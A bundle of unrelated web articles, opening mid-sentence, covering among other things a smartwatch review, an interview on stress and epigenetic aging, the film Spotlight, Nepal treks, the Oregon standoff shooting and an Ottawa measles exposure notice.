matching straps. Related: Fitbit unveils two new fitness trackers -- including one you can take in the pool When the Gear S3 launches, there will be thousands of digital watch faces to choose from, as well as ones that users can create themselves. The smart design approach goes beyond the physical aesthetic, too. The ability for the screen to dim in low-light settings make it easier to see in dark environments and adds a sense of refinement. Loaded features Overall, the Gear S3 is stacked with features to make the experience easy and intuitive for users. For example, all three versions of the Gear S3 have built-in speakers, making it possible to hear notifications and use audio controls. The devices also come with Samsung Pay, so you can leave your wallet at home if you're headed out for a quick jog. There's also a solid SOS safety feature that lets you send for help in case of an emergency, similar to what's already available on the Apple Watch. Samsung has once again made a smartwatch that stands out from the competition, but its appeal may be limited to those who want all the extreme features in a large, slightly bulky device. -Genome Biology has published research investigating the effect of lifetime stressors on DNA methylation-based age predictors. We asked co-author Anthony Zannas to explain more about what it means. Stress may change DNA methylation patterns Flickr What is meant by epigenetic aging? Epigenetic aging is a measure that uses DNA methylation levels to predict an individual’s age. It takes into account the methylation levels of many sites from different parts of the genome. What these sites have in common is that they correlate strongly with chronological age. Several DNA methylation-based predictors of age have been developed. The most widely used is the multi-tissue predictor developed by Steve Horvath. Using this marker, DNA methylation-predicted age correlates strongly with chronological age at a population level. However, in some individuals DNA methylation age differs substantially from the actual age, and we posit that the difference between the two is a measure of accelerated aging. This epigenetic age acceleration appears to be a promising biomarker for aging research, as it has now been linked with a number of aging-related diseases, including physical and cognitive decline, obesity, lung cancer, and all-cause mortality. Can you briefly describe how stress factors can lead to altered DNA methylation? Stress has many ways of ‘getting under the skin’. Stress has many ways of ‘getting under the skin’. One way is through the secretion of glucocorticoids, hormones that are secreted from the adrenal gland into the blood when people are under stress and affect nearly every organ and cell in the body. The main glucocorticoid in humans is cortisol, which binds to and activates glucocorticoid receptors that act as transcription factors. Specifically, these receptors bind to specific DNA response elements and regulate the expression levels of a large number of target genes. Interestingly, glucocorticoid receptors not only affect gene transcription, but upon binding to target genes they can also change their DNA methylation state, and in some cases these changes can last long after cessation of the stressor. What were your main findings? We examined a highly traumatized cohort of African American individuals and found that exposure to more stress throughout the lifetime was associated with accelerated epigenetic aging. This effect was not seen with only childhood or recent stress and the effects were most pronounced in older individuals, so it appears that stress exposure accumulates to eventually affect the epigenome as one grows older. This effect was also more evident for personal stressors – stressors that affect the individual directly, for example; divorce, unemployment, and financial stressors. Whereas it was much weaker for network stressors – stressors affecting the individual’s social network, such as knowing someone who was robbed. Moreover, we also found that many of the age-related DNA methylation sites used to calculate epigenetic aging are located at glucocorticoid binding sites and undergo changes in methylation when individuals are exposed to a synthetic glucocorticoid, called dexamethasone. So it could be that high levels or dysregulated cortisol secretion in individuals exposed to more stress are driving these effects on epigenetic aging. Lastly, we found that genes near these age-related sites also undergo changes in expression following dexamethasone and many of these genes are implicated in aging-related diseases, including coronary artery disease, arteriosclerosis, and leukemias. How does this build on what is currently known from the literature? It has been known that chronic or excessive stress can increase the risk for aging-related diseases, but the molecular mechanisms that explain this relationship have been unknown. It has been known that chronic or excessive stress can increase the risk for aging-related diseases, but the molecular mechanisms that explain this relationship have been unknown. So how does stress ‘get under the skin’ to increase the risk of certain diseases? It is also known that DNA methylation changes occur with increasing age and are associated with aging-related diseases. So it seemed likely that the effects of stress on aging-related disease could be in part mediated via changes in DNA methylation induced by glucocorticoid receptor activation. Our study supports this hypothesis, since it shows that stress accelerates epigenetic aging, and further suggests that this effect could be mediated by the molecular effects of cortisol. What are the implications of your findings? Our findings suggest that epigenetic changes could be an important, but by no means the only, contributing factor to the detrimental effects of stress on declining health as one grows older. These effects can be cumulative and lasting, and they might be evident in particular vulnerable populations such as those prone to high levels of stress. For example, we know that individuals exposed to high levels of childhood maltreatment are also likely to have high levels of adult stress later in life. This lifelong accumulation of stressors in highly traumatized individuals may eventually exceed the capacity of the epigenome to maintain itself and contributes to worse physical health that is observed in these populations. Monitoring epigenetic age may be a possibility to target early intervention in high-risk individuals. Understanding the mechanisms of accelerated epigenetic aging could also allow the development of strategies for prevention or even reversal of such effects and, hopefully, a reduction in stress- and aging-associated disease risk. -So who’s looking forward to noon on Friday when Barack Obama leaves office once and for all? (I could probably pause here for several hours while our various readers weigh in.) The President has his fans and supporters to be sure, as demonstrated in the most recent polling, but there are plenty of other citizens who won’t be sorry to see the end of these two terms. One notable group in the latter category seems to be the nation’s police, at least in the opinion of the leader of one of the profession’s larger advocacy groups. The executive director of the National Association of Police Organizations pulled no punches this week in saying that as far as the cops are concerned, nobody will be terribly sad to see this guy heading off into retirement. (Daily Wire, emphasis added) A leading voice for the nation’s police officers who has bluntly challenged President Obama for his lack of support for police, issued a truly blunt assessment of how police felt about Obama leaving 0ffice, snapping, “No one is sorry to see this guy go.” Speaking to The Blaze, William J. Johnson, executive director of the National Association of Police Organizations, said Johnson said Obama’s public statements have only offered “lip service” to the idea that targeting police officers is wrong, while he has demonstrated repeated support for groups that blame police for incidents involving minorities. Johnson added that Obama’s actions have demoralized police, leading to a reticence among officers to become actively engaged with communities for fear of being unjustly accused. He offered this aphorism: “Don’t get involved, smile, wave, drive by.” There’s one other quote from Johnson which is worth including and it has to do with the President’s history of “taking sides” in the public standoff between law enforcement and Black Lives Matter. Johnson continued, “He knows what he’s doing. He’s aware who his audience is. In terms of violence against police, his audience was not police or survivors, his audience was leaders of Black Lives Matter, protesters and agitators. … He sent a clear message: ‘I’m on your side.’” This is obviously a fairly antagonistic stance to take, but he’s certainly holding more than a few cards to support his position. You may recall the recent, exhaustive poll of law enforcement officers around the nation which found that nearly nine in ten cops felt that their jobs were both more dangerous and more difficult than eight years ago. Even more depressing is the perception that working in law enforcement was “no longer worth it” and a tendency to not tell their own kids that going into the police academy was a good career choice. These feelings were even more pronounced among cops in the nation’s large cities than in the suburban and rural precincts. There have been other, less subtle signals which police officers have no doubt caught wind of. They’ve had to watch a very public and embarrassing battle take place in the press as elected legislators battled over a painting hanging within a stone’s throw of the halls where Congress meets. It’s a piece of “art” which depicts police officers as pigs who are oppressing African American residents in Ferguson. That’s a telling bit of social commentary and it ties back into the interview with Johnson. He specifically calls out Ferguson and the response of the Obama administration in a matter where it was eventually revealed that the cop in question did nothing wrong. Police have also sat by and watched two consecutive Attorneys General who seemed more interested in holding some sort of tribunal where the nation’s police officers were being investigated than figuring out why gangs are driving up the murder rates in major cities. None of these things happen in a vacuum and such policies flow down from the top. In short, it’s difficult not to place the credit or blame, depending how you view it, at the feet of the Oval Office occupant. The remaining question is whether things will change significantly under Trump or if he’ll fail to live up to the cop supporting speeches he gave on the trail. -the bear in the DreamWorks Animation Kung Fu Panda Advertisement Forget Po and Master Shifu - this is the real life Kung Fu Panda! Following the release of the third Kung Fu Panda film, this cuddly panda bear was caught on camera practising his best karate moves. The amazing pictures were captured by photographer Shingo Nakamura, from Japan, at Tokyo's Ueno Zoo. Scroll down for video Following the release of the third Kung Fu Panda film (right), this cuddly panda bear (left) was caught on camera practising his best karate moves The amazing pictures were captured by photographer Shingo Nakamura, from Japan, at Tokyo's Ueno Zoo Nakamura, 49, said: 'I went to the zoo to take some photos of the panda - but I never imagined I'd see something like this! 'It looks so cute walking on two legs - in one picture it looks like he's chasing food with a stick. 'I think he was actually doing some leg training - they do training with the panda every day keep him fit, but it looks more like martial arts! 'When most people see it they wonder what the panda is doing, it looks quite bizarre. 'It was an adorable moment, I'm so happy I was there to see it.' Nakamura said she thinks the incredible moves were part of the bear's daily leg training which keep him fit The third Kung Fu Panda film follows the character of Po as he is reunited with his father and discovers a long-lost panda paradise. However, his newfound happiness is threatened with the emergence of a supernatural villain (J.K. Simmons), and he has to go from student to teacher to train a village of bears to master the martial arts. -DPA A German pensioner could face criminal charges for clear-cutting the forest at his Baltic Sea vacation home. Unhappy with the obscured view at his property near the Baltic Sea coast, a German pensioner struck back at nature -- with a chainsaw. Police reported on Thursday that the 80-year-old man admitted to having illegally cut down 122 trees because they obstructed his view of the coast at his vacation home in an expensive part of the town of Scharbeutz near Lübeck in northern Germany. The police investigating the crime said the tops had been cut off of 66 beech, ash, oak and wild cherry trees and that an additional 55 had been sawed to the ground completely. All of the trees were over 30 years old. The local forestry office is estimating damages at €15,000 ($22,000). Meanwhile, prosecutors are exploring their options for charging the man for property damage and violating both state and federal nature conservation laws. However, some local neighbors have come to the defense of the would-be Baltic Paul Bunyan, telling the local newspaper Lübecker Nachrichten that trees had been completely removed from certain properties before some new houses in the area were built. "Maybe he got a bit carried away with 120 trees," said one neighbor, who asked to remain anonymous. "But what's all the fuss about?" dsl/dpa -It’s hard to say how much knowing what happens in a story affects our enjoyment of it. We live in the age of the spoilerphobe, where nerds like me abandon social media in the days leading up to a major release for fear of having significant plot points or major twists revealed too soon. But in Shakespeare’s day, everyone more or less knew the ending ahead of time, and the lack of novelty didn’t lessen the draw. That’s a reminder that what the story is need not, and arguably should not, overshadow how the story is told. Which is to say, I’m not sure how much the greater effect of Spotlight was lost on me given that I already knew a decent amount about the molestation scandal within the Catholic Church that played out in the newspapers and on our television screens for years after the time depicted in the film. The movie is, if not exactly a mystery, then certainly a story of the intrepid reporters of the Boston Globe’s “Spotlight” team starting a small investigation and slowly but surely uncovering how widespread a pathology there was. Much of the film is framed as the Spotlight team investigating something seemingly isolated and being shocked to find how far the tendrils stretch out, reaching areas and individuals they never would have expected. But the impact of this gradual discovery is blunted when you already know how deep the rabbit hole goes. Sure, there’s something to the characters’ realizations that tries to drive the magnitude of the discovery home, but as horrible as what they uncover is, the film loses some of its narrative punch when its big developments are telling you something you already know. Which is why the film’s most vivid and poignant scenes are those involving the Spotlight team interviewing the victims of the abuse. There’s a stark quality to these sequences, which feature straightforward but moving recountings of how these men were taken advantage of as boys, that make them stand out. The film as a whole has a Wire-esque sparseness in the production design and cinematography that makes these scenes, and the horrors they represent, more palpable, awful, and affecting. But they also reveal a difficult hurdle for the film — the story of what happened is more striking than the story of the people who found out what happened. But that’s a sprawling, very individual story, splintered across thousands of victims and abusers, leaving director/co-writer Tom McCarthy to focus on the newspaper investigation in an attempt to tie it all together. The unfortunate side effect is that this mediates the terrible events that the film is concerned with, mixing them up with didactic discussions of psychological pathology and the personal effect that learning all of this has on the reporters who discover what happened. There’s a fair attempt made both to educate about this crisis and to bring its wide-ranging impact home by showing how it affects Mike Rezendes’s (Mark Ruffalo) connection to his faith, or Sacha Pfeiffer’s (Rachel McAdams) relationship with her grandmother, or Matt Carroll’s (Brian d’Arcy James) sense of the safety of his children in his neighborhood. And yet even as the film is about the Catholic Church’s molestation scandal, at a broader level it’s just as much about the way that communities close ranks in the face of a potential crisis, and in how there’s a certain complicity to it, a sometimes unconscious acceptance of how things are that invites horrific actions to be swept under the rug. A laudable performance from Michael Keaton as Spotlight editor Walter Robinson anchors the latter theme in the film. As Robinson hunts down old leads and sources, he encounters resistance from well-meaning fellow journalists who believe the story was culled from the crank file, less-than-subtle suggestions from friends and community leaders who urge him not to rock the boat for the good of the city, and disdain from veteran soldiers in the fight to expose the abuse who chastise him, and by extension The Boston Globe, for not doing more and not doing it earlier. Carpetbagging editor-in-chief Marty Baron (Liev Schreiber, who makes a strong impression with a textured performance in a smaller role), represents the way an outsider can cut through the status quo and see the collective shame for what it is without the history in the community or the stomach to ignore it. It’s legitimate material to explore in a film of this sort, and yet it ultimately feels very paint-by-numbers in the attempt. Spotlight has all the trapping of the prestige picture. It hits on a Big Issue; it features palatable protagonists fighting against something abhorrent; and it boasts an impressive cast who are given more than enough room to underline the film’s major points. Every scene seems to end with a line or an exchange that ties a very obvious bow on whatever the audience has just witnessed. Ruffalo gets his Oscar reel moment to bang on the table and demand justice. And the end of the film features the predictable moment of self-questioning, the inevitable bit of triumph, and the white text on a black background explaining the real life consequences of the “Based on True Events” story the viewer has just witnessed. That means that the film gets every opportunity to make its statements, to throw in standard-if-creditable character moments, and to work in small but salient details of the scandal. It fails, however, to make this all feel like something other than a movie going through the motions in the lead up to the Academy Awards. The film has something to say, and it’s worth saying, but it doesn’t delve particularly deep into these ideas and doesn’t offer anything especially novel or creative in how it presents them either. Spotlight is a good enough film. It has a sturdy structure, quality acting across the board, and locks in on some worthwhile thematic material. It’s not a movie I’m sorry to have watched, but it’s also not a movie I’m likely to ever watch again, because even if I haven’t seen this exact film before, I’ve seen this type of film 100 times before. It’s a solid take on the “dogged reporter breaking a scandal” story, and it hits all the right notes for an Oscar hopeful. But Spotlight never goes a step beyond that commendable-yet-spiritless flavor to the proceedings that seems to persist through so many movies in the same vein. -Muhanna Fala'ah / Getty Ten years after the invasion of Baghdad, major American oil companies are staying away from investing in Iraq's oil resources, McClatchy's Sean Cockerham reports. Instead, many of Iraq's newest oil fields are now controlled by Chinese. Iraq possesses the second-largest oil deposit in the world, in the West Qurna region. Forbes says the country could easily become the second-largest oil producer in the world after Saudi Arabia. Only Exxon and Occidental have active stakes in Iraqi oil fields. The reason for America's relative absence, Cockerham writes, is that the country is still too unstable. Chinese firms don't seem to mind that as much, he says: one third of all future Iraqi oil production is expected to come from Chinese-owned fields. There are in fact many U.S. drillers, including Halliburton, operating in the fields themselves, Cockerham notes. But folks like Chevron, ConocoPhillips and Suncor are nowhere to be seen. This does not mean the U.S. is not receiving zero oil from Iraq. We still import more than 173 million barrels of oil from there a year. But that's actually not all that much — about 4.4 percent of our entire import base, according to EIA data. And that's down from about ten years ago — once the country's economy came back online — when we were taking in 240 million bby. It's certainly not the situation many predicted we'd be in in 2013. -The CrossFit competition year doesn’t end with the CrossFit Games. While the Games are in the offseason, CrossFit will host the CrossFit Team Series. The two-part series starts in early September, and ends in mid October. The first set of workouts will be released Sept. 8, and the second and final set of workouts will be released Oct. 6. In the Team Series, any two men and two women can form a team. You and your teammates don’t have to train at the same affiliate or even live in the same state or country. You do have to complete all of the Team Series workouts together, though. This freedom led to several incredible rosters in 2014. Rich Froning, Sam Briggs, Jason Khalipa, and Julie Foucher formed the powerhouse team Rogue Fitness Black, only to be beaten by Ben Smith's Team Reebok East. Affiliates also put forward teams that challenged the Games elite, earning spots in the top 10 and taking home part of the $151,000 prize purse. The Team Series proved to be a lot like the CrossFit Invitational, only anyone could sign up and compete with the world's fittest. WATCH Week 1 with Rogue Fitness Black Week 2 with Rogue Fitness Red Week 3 with Rogue Red and Rogue Black Week 3 with Team Reebok East 2014 Team Series Events In 2015, teams will be able to choose between the Rx'd and scaled version of each workout. Choosing scaled for one workout will not prevent a team from doing the next workout as prescribed. Teenagers (14-17) and Masters (40+) will be included, as well. Registration begins on Aug. 18 at Games.CrossFit.com. Send your team captain to the site to register the team. As part of the process, the captain will pay and send email invites to their teammates. Registration costs $80 for all teams except those that are sponsored. Sponsored teams pay $500. -Nepal trekking tours are perhaps the best tours of their kind offering a myriad of attractions for true nature connoisseurs seeking excitement, stunning mountain views and exhilarating climbing experiences. In addition, trekking in Nepal can give you a chance for spiritual exploration introducing you into Himalayan Buddhist culture and the unique nation of Sherpas who have been successfully inhabiting high altitude regions for many generations. Read on to learn more about top 10 places for trekking in Nepal: 1. Langtang Trek is perhaps the easiest and most enjoyable among Nepal treks taking you through the picturesque Langtang Valley. This particular trekking in Nepal adventure will take 9 days to complete walking about 4-5 hours daily. You will be able to trek through Langtang forests passing yak pastures and ending up in the Tibetan village of Langtang. Beware of the yaks as they might get aggressive and were known to push trekkers off the steep slopes. Stay safe and keep away from cliff edges. 2. Annapurna Trek to its base camp is a spectacular 14 day adventure taking you through principal peaks of the Annapurna Himal such as Hiunchuli, Fang, Annapurna South and many more. This Nepal trek will introduce you to multiple climates, ecosystems and cultures along the way. The highlight of the trek is reaching a gigantic gorge between Hiunchuli and the Fish Tail (Machhepuchare) peaks following through dense bamboo forests into the Modi Kola river valley. This area is best known under Annapurna Sanctuary name and remains one of the most popular Nepal trekking tours. 3. Annapurna Royal Trek is the shortest and sweetest of all Nepal taking tours taking mere 9 days and not requiring any particular fitness levels. This became pretty famous in the 1980’s when England’s own Prince Charles made this trip. This Nepal trek is perfect for people who can not spend a lot of days trekking and simply want a relaxing and easy vacation surrounded by stunning mountain sceneries while being immersed in alluring local culture and lifestyles. Trekking in Nepal will allow visitors to see many of the different mountainous peaks of the Himalayas. You don’t have to be experienced at mountain trekking in order to enjoy the Annapurna Royal trek. This trip usually lasts several days. There are no villages or accommodations so the best course of action is to book a guided trekking group. You will see majestic mountain views as well as colorful fauna and soaring eagles. 4. Everest Base Camp Trek is an experience of a lifetime enabling you to view the tallest mountain on Earth. Without a doubt this 17 day adventure will stay in your hearts forever as it is definitely a journey off the beaten path. The lengthy duration is necessary to get acclimatized to high altitude changes warding off many unpleasant illnesses. The trek will not only offer you the most stunning views of the glaciers, mountains and valleys, it will also introduce you into the lives of amazing people of Sherpas. They have inhabited this mountain region for generations miraculously adjusting to harsh high altitude conditions. 5. Rara Lake Trek will take your through spectacular National Park that is home to many rare species of animals like Himalayan black bear, red panda, wild boar, snow leopard, black panther and numerous kinds of birds and smaller animals. The highlight of this amazing 16 day trek is reaching the Rara Lake located at an altitude of almost 3,000 m. Trekkers can enjoy the remote wilderness of Western Nepal while enjoying the adventure of the Rara Lake trek. Trekkers can enjoy the views of Rara Lake which is Nepal’s largest lake measuring at 3062 meters. This is a picturesque high altitude lake that is surrounded by gorgeous alpine meadows and pine forests complete with Juniper and Spruce. Participating in the Rara Lake Trek is truly a once in a lifetime experience and shouldn’t be missed if visiting Nepal and the Himalayas. 6. Mustang Trek or “Forbidden Kingdom” is like stepping back in time. The trek was open to westerners only back in 1992 holding a lot of mysteries for you to uncover. The Mustang trek is located in the North Central part of the country in Nepal, just bordering Tibet. The Mustang area presents Tibet culturally and geographically more than it does Nepal due to Chinese occupation. The trek permits are being issued under strict surveillance from the Nepal Department of Immigration in the attempts to preserve the cultural and ethnic heritage of the region from the western influence. While enjoying the Mustang trek, trekkers can enjoy the views of the Kali Gandaki River which is known to have served as a major trade route between Tibet and India. In addition to the beautiful plateau landscapes, the Mustang trek offers the opportunity to enjoy traditional Nepal culture. There are many trekking companies that offer the Mustang trek as part of their itineraries. During this 15 day journey you will encounter bare mountain landscape, steep up and down rocky terrains and panoramic views of Nilgiri, Annapurna and many other peaks. 7. Manaslu Trek will take you to the 8th highest peak of the world area. Manaslu trek is definitely not a walk in the park and is considered one of the roughest and challenging treks in Nepal. Only the more experienced trekkers should attempt to make the Manaslu trek. You will have a rare opportunity to witness the untouched primal beauty of Nepal’s mountain scenery, rich cultural and historical heritage and introduction to different flora and fauna. Whoever chooses the Manaslu Trek will enjoy pure Himalayan beauty as well as the rich cultural experiences. There are many breathtaking Himalayan mountain views available during the Manaslu trek. While trekking through some of the villages, visitors will get a glimpse of the traditional Himalayan culture of the local population. 8. Dhaulagiri Trek is only for well experienced or professional trekkers due to its demanding terrain and rough landscape. This 24-day challenging trek will take you beyond the beaten trekking paths most tourists take into the Nepal wilderness and remote villages. The trekking around Dhaulagiri region is very strenuous and requires additional climbing skills to get through some high passes. Along the way you will be rewarded by stunning sceneries of untouched beauty of Nepal. The Dhaulagiri trek is one of the more challenging treks as it is the seventh highest peak in the world rising above the Kali Gandaki River. During the Dhaulagiri Trek, you will enjoy magnificent views of many Himalayan Peaks as well as White Water Rivers. Many of the trekking guides will allow trekkers to camp on a glacier. This is truly a once in a lifetime experience! 9. Lower Dolpo Trek trekking in Nepal is unique in its kind providing you with an opportunity to tour some of the isolated areas of western Nepal. You will encounter charming locals who still practice Bon Po religion that had been widely spread in pre-Buddhist Nepal. While enjoying the Lower Dolpo trek, visitors will be able to experience traditional Himalayan culture as well as visit some traditional Buddhist Monasteries. Those enjoying the Lower Dolpo trek will be able to enjoy the magnificent views of Shey Phoksundo Lake as well as various rare and endangered species of wildlife as well as plants. The trek will take 25 days to experience the primal wilderness of Nepal and get through 3 major passes along the way, namely, Kagmara La, Baga La and Numa La. 10. Ghorepani Trek 9-day trek is the best for novice trekkers introducing them to trekking in Nepal. The trek will elevate you to the highest point of 3200m and open up stunning panoramic views of Annapurna Himal and many other famous peaks in Nepal. The Ghorepani trek is a good trek whether you are a beginner or more experienced trekker. There are many adventure companies that offer trekking tours to enjoy. Trekkers will also enjoy the picturesque landscape of the beautiful fauna during their trip. In addition to the beautiful views may also experience traditional Gurung culture. Discussing your Nepal vacation packages with your travel agent will help you get the most of Nepal treks for your money. Trekking in Nepal can run up a considerable sum of money if you consider expensive mountaineer gear, equipment, supplies and multiple permits and fees you will have to pay up front. -This article is over 5 years old Mark Stone and cameraman, Andy Portch, were held for not displaying passes as they filmed in Tiananmen Square Reading on mobile? See the video here Sky News correspondent Mark Stone was detained by Chinese police while filming in Beijing's Tiananmen Square. Stone and his cameraman, Andy Portch, were filming live on air when they were approached by a police officer on Friday morning who asked them to stop filming in the square. The pair broadcast live from the back of the police van as they were taken to a nearby station. It is not clear whether they have been formally arrested. Stone told Sky News viewers on his way to the police station: "This is just a little insight really into the way reporting works in China. "Most of the time things are fine and for most of the day no problems at all, but then every now and then this happens. "The police have been entirely civil with us, but they are detaining us nonetheless." Stone and Portch were released shortly before 1pm UK time after over three hours in police custody. According to a Sky News spokeswoman, police told the pair they were detained because they were not properly displaying their press accreditation badges. The journalists have returned to the Beijing bureau where they are preparing a film on the incident to run on the Sky News bulletin at 5pm. A report on the Sky News website said the pair had received permission to film in the square, where they were reporting on China's leadership transition. • To contact the MediaGuardian news desk email media@guardian.co.uk or phone 020 3353 3857. For all other inquiries please call the main Guardian switchboard on 020 3353 2000. If you are writing a comment for publication, please mark clearly "for publication". • To get the latest media news to your desktop or mobile, follow MediaGuardian on Twitter and Facebook. -. Otro caso de crueldad animal que conmociona a toda la ciudad bonaerense de Berazategui. Un hombre, de nacionalidad boliviana, ató a su perro a una moto y lo arrastró a la fuerza durante varias cuadras a lo largo de la calle República de Francia, de esa localidad. Un vecino, que circulaba con su auto, advirtió la situación y logró detenerlo entre la Avenida Calchaqui y Belgrano, según manifestó en diálogo con Crónica. El joven publicó en su Facebook el momento de la captura. "Lo quemaste de lo que lo arrastraste hijo de p..., tiene toda la espalda pelada, está completamente deshidratado el animal", se escucha en el video compartido en la red social. Mientras tanto, el hombre se justificó diciendo que el perro había mordido a un nene. -HyperHamlet: the cultural history of Shakespeare's play in quotations Who quoted these famous lines? Which lines have been quoted most frequently? When was it especially fashionable to quote Hamlet? Do people know they are quoting Hamlet when they say "There's method in his madness"? Search four centuries of Hamlet quotations in context – a completely new kind of evidence for the cultural position held by Shakespeare and his language. Find quotations by 3467 authors from different periods, languages and genres. Find out which texts use quotation marks or indicate Hamlet as their source. Browse the core collection of 9454 quotations, attached to the lines they refer to or sorted by the characters and scenes they mention. Or investigate the complete collection of 10813 entries, which includes indirect references, vague anonymous traces and even earlier occurrences of phrases found in Hamlet. Have you come across any Hamlet quotations recently? Contribute your findings to the database! -Lavoy Finicum was shot and killed after a highway stop with the FBI and Oregon police late Tuesday evening. Finicum was the spokesman for the Citizens for Constitutional Freedom group that was occupying the Malheur Wildlife Center in Burns. Ryan Bundy was injured during the police shootout, a total of eight “Oregon Militia” members were arrested during and after the roadside incident. Ammon Bundy, Ryan’s brother, was among those handcuffed and taken into custody. A recording shared on the Bundy Ranch Facebook page claims to be relaying statements from witnesses to the shooting. The audio recording maintains that Ammon Bundy still had his cell phone when place in the back of a cruiser and was able to call his wife Lisa and give details of the shooting scene. According to the relayed message from Ammon Bundy, Finicum was unarmed and surrendering when he was “cold blooded murdered.” An investigation into the “enforcement action” is currently underway. The Oregon State Police have only stated publicly that the Lavoy Finicum death and Ryan Bundy injuring were the result of an “officer-involved shooting,” NBC reports. In this composite with handout images provided by the Multnomah County Sheriff's Office, suspects (Top L) Ammon Bundy, Ryan Bundy, Ryan Waylen Payne, Brian Cavalier, (Bottom L) Peter Santilli, Joseph Donald OShaughnessy , and Shawna Cox pose for a mugshot photo after being arrested by U.S. Marshals January 26, 2016 in Oregon. Ammon Bundy and seven others were arrested in a traffic stop along Highway 395 outside Burns, Oregon. (Photo by Multnomah County Sheriff's Office via Getty Images) Cliven Bundy, the father of both Ryan Bundy and Ammon Bundy, released a statement on Wednesday morning claiming that Finicum was murdered in “cold blood” by law enforcement agents. According to the Nevada rancher who garnered nationwide headlines when taking on the BLM over grazing rights, Lavoy exited the vehicle with his hands up in a surrender position. Lavoy Finicum, 54, was a Mormon rancher from Arizona. He was a father of 11, grandpa to 19, and was married to his wife for 23 years. The details surrounding the fatal shooting along Highway 395 near Burns, Oregon, remain slight. Ryan Bundy took a round to the arm and was treated and released from the hospital. Finicum, who previously stated he would prefer death to being arrested and locked up behind bars, was on his way to a community meeting with area residents about an hour from the Malheur wildlife refuge when he was mortally wounded. LaVoy Finicum, reportedly killed in Oregon standoff, said he was willing to die for cause. https://t.co/8WbMcCVCok pic.twitter.com/hCaJrngHwh — FOX 12 Oregon KPTV (@fox12oregon) January 27, 2016 When the media deemed “Oregon Militia” took control over the Malheur wildlife center, Finicum reportedly opted to keep guard and slept outside in the cold January air in his sleeping bag with a rifle. During an interview with MSNBC from his little outpost at the refuge, Lavoy said he was “prepared to defend freedom.” Finch Finicum, one of Lavoy’s daughters, told the media that her father and the other Citizens for Constitutional Freedom members were committed to not firing upon FBI agents. “We all thought it would end but not like this. My dad did stress that they wouldn’t pull a gun on them unless they pulled a gun,” she added. Lavoy Finicum Gives Oregon Standoff Update On January 22 — Video The day before being fatally shot along the highway, Lavoy Finicum granted an interview with the Oregonian. He maintained that the tone of the FBI had changed when the two groups held discussion. According to Finicum, the federal agents had become more “hardened.” “They’re doing all the things that show they want to take some kinetic action against us,” Lavoy added. “And we’re saying, ‘Why be so unfriendly?’ “ Oregon Governor Kate Brown is urging patience as law enforcement officials work toward a “swift and peaceful resolution” to the standoff in Burns. LaVoy Finicum, the man (with his family) killed by the Feds at bogus traffic stop…. pic.twitter.com/7TyYvZ0S4z — ~ Billy Black ~ (@BillyBlac) January 27, 2016 Here is a photo of Robert “LaVoy” Finicum, who was killed Tuesday, from a few weeks ago. #OregonStandoff pic.twitter.com/arKqfLuPRD — Gordon Friedman (@gordonrfriedman) January 27, 2016 Concerns that the Citizens for Constitutional Freedom standoff would lead to another Waco or Ruby Ridge may have been the primary reason that federal agents did not storm the refuge during the 3-week occupation. At least for now, the occupiers are still standing their ground in Burns and have not been met with an armed response by law enforcement on the grounds. What do you think about the Oregon militia arrests and the death of Lavoy Finicum? [Photo by Joe Raedle/Getty Images] -Cats can be bizarre and may be that’s why subconsciously we love these creatures. Whether it’s chasing the invisible, defying gravity, or just getting poofed up for no reason at all, cats are endlessly entertaining. Of course, the best part is that they are unaware of how cute they can be when they’re doing these moves which leaves us speechless. These few cats are stepping up their game with a variety of slick and stealthy moves that would put leave even IP Man wondering. Are they Plotting? Playing? Secretly conspiring something. We don’t know! May be they are just as confused as we are about all this. You should decide. Please comment on what you think these cats are upto? 1. “Human! WTF you lookin at? I’m Ninja-Cat B**CH” 2. “Soon…” 3. “One day. One day.. I’ll become the Shaolin-Ninja Cat. 4. “No Flex Zone, No Flex Zone — They Know Better, They Know Better… 5. “Hidden Kitty Crouching Kitty” 6. Proposed Ninja-Costume. Costume Designed by — CatLady MaMa 7. Ninja Cats are born with power of extreme Concentration and Focus 8. Levitation Mode (level 9) – Real ninjas look serene even in midair. 9. Of course, any ninja mission is always fraught with peril. 10. Gravity does NOT apply to Ninja-Cats 11. “SOON…” 12. The perfect vantage point before the kill 13. This dog made a mistake of offending a ninja-cat 14. Some missions require a whole squad of ninjas. 15. “I keep an eye on you 24/7/365” 16. Ninja cats can identify texture/objects of similar color and can contort to become invisible. 17. “Invisible Mode ON” 18. When enemies approach, it’s best to take evasive action. This dog wouldn’t even know what hit it. 19. Well, house made of cork board is MY practice ground. Thanks Owner! 20. SOON….after am done with my upside-down meditation session. I’ve heard of pet- and baby-proofing a house, but I don’t think there’s much you can do to ninja-proof. Please comment on what you think these cats are up to? -Ottawa Public Health (OPH) is investigating two additional cases of measles. The new cases, in an unimmunized child and an immunized adult, were contacts of a previous measles case. Cases such as these are not unexpected as measles is a highly contagious respiratory disease where virtually all those who are not immune and come into contact with the virus will become infected. There have been four confirmed measles cases in Ottawa since March 5. People who were present at the following locations and times were potentially exposed to the measles virus and OPH advises these individuals to contact their health care provider if they are unsure about their immunization status: March 18, 2014, 9 a.m. – 6:30 p.m.: Businesses at 411 Legget Drive March 18, 2014, 1:15 p.m. – 3:30 p.m: Subway Restaurant, 700 March Road March 20, 2014, 6 p.m. – 8:40 p.m.: Shoppers Drug Mart, 1300 Stittsville Main Street March 21, 2014, 6:30 a.m. – 10 a.m.: Nepean Sportsplex, 1701 Woodroffe Avenue March 21, 2014,11:30 a.m. - 2 p.m : Quizno’s Restaurant, 4048 Carling Avenue March 21, 2014, 9 a.m. – 5:30 p.m., Businesses at 411 Legget Drive OPH asks those who were present at the locations and times listed above to contact OPH at 613-580-6744 if you: Are unimmunized; Have a weakened immune system; Are pregnant or; Work in the health care or child care sector; Had a child under age 1 with you when you visited one of the above locations. Early symptoms of measles may include fever, cough, and tiny white spots in the mouth. Within three to seven days, a red blotchy rash will appear, first on the face and then spreading to the body, arms and legs. If you believe that you have measles, you should isolate yourself by staying home and avoid all contact with unimmunized persons. Call before visiting your doctor so they can take precautions to protect other patients. The measles virus is transmitted by airborne droplets or direct contact with an infected person. Measles is more severe in adults and infants than in children and can lead to ear infections, pneumonia, swelling of the brain and even death. We strongly encourage all residents to consider vaccination as a way to protect yourself and your family against measles and other vaccine-preventable diseases. If you are unsure of your vaccination status or that of your children, please discuss this with your health care provider. For more information about measles or immunization, you can also visit our website or call OPH’s information line at 613-580-6744 to speak with a nurse. For information and health tips, connect with us on Twitter @OttawaHealth. For additional information on measles and immunization, visit ottawa.ca/health or call Ottawa Public Health Information at 613-580-6744 (TTY: 613-580-9656). You can also follow OPH on Facebook, Tumblr and Pinterest. For more information: Media contact 613-580-2450 Public inquiries: 